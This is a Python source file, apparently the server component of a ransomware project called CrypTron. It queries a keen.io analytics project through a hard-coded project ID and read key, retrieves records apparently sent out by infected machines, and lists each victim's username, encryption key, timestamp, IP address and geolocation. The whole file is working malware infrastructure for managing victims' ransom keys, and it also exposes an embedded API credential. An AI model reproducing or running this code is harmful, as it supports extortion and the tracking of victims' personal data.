CrypTron/server.py

63 lines
1.8 KiB
Python
Raw Permalink Normal View History

2020-07-04 23:52:44 +02:00
import os
# -2 Zeitzone
# 7.50
os.system("title [CrypTron Server]")
os.system("cls")
print """
.--------.
/ .------. \\
/ / \\ \\
| | | |
_| |________| |_
.' |_| |_| '.
'._____ ____ _____.'
| .'____'. |
'.__.'.' '.'.__.'
'.__ |Crypto| __.'
| '.'.____.'.' |
'.____'.____.'____.'
'.________________.'"""
import keen
import time
import hashlib
keen.project_id = "57b37f2f80a7bd714c4f66d0"
keen.read_key = "bb663a560ee0c82d6dac5531108e1376416efd1f34b36993451b96bd4c518909cea4a415c6d16d1e9945c94e866fcfdb4ae532dbf2d0391f0a06ae9f05e9bdb4de4adb9575158b04db116ef7ac54f3447b032a39807e3859c8c2fef40027dc8c"
x = keen.extraction("key",timeframe="this_year")
time.sleep(0.5)
os.system("cls")
print """
.--------.
/ .------. \\
/ / \\ \\
| | | |
| | | |
| | |_|
_| |____________
.' |_| # '.
'._____ ____ _____.'
| .'____'. |
'.__.'.' '.'.__.'
'.__ |Crypto| __.'
| '.'.____.'.' |
'.____'.____.'____.'
'.________________.'
[CryptTron Server]
"""
time.sleep(0.5)
for i in range(len(x)):
try:
print(" [*] User: "+x[i]["username"] + " - Key : "+x[i]["key"]+" - Encrypted on "+x[i]["keen"]["timestamp"].split("T")[0]+" at "+x[i]["keen"]["timestamp"].split("T")[1].split(".")[0]+" - IP: "+x[i]["ip_address"]+" - Location: [Country: "+str(x[i]["ip_geo_info"]["country"])+" | City: "+str(x[i]["ip_geo_info"]["city"])+"]")
except:
print(" [*] User: "+x[i]["username"] + " - Key : "+x[i]["key"]+" - Encrypted on "+x[i]["keen"]["timestamp"].split("T")[0]+" at "+x[i]["keen"]["timestamp"].split("T")[1].split(".")[0])
time.sleep(0.1)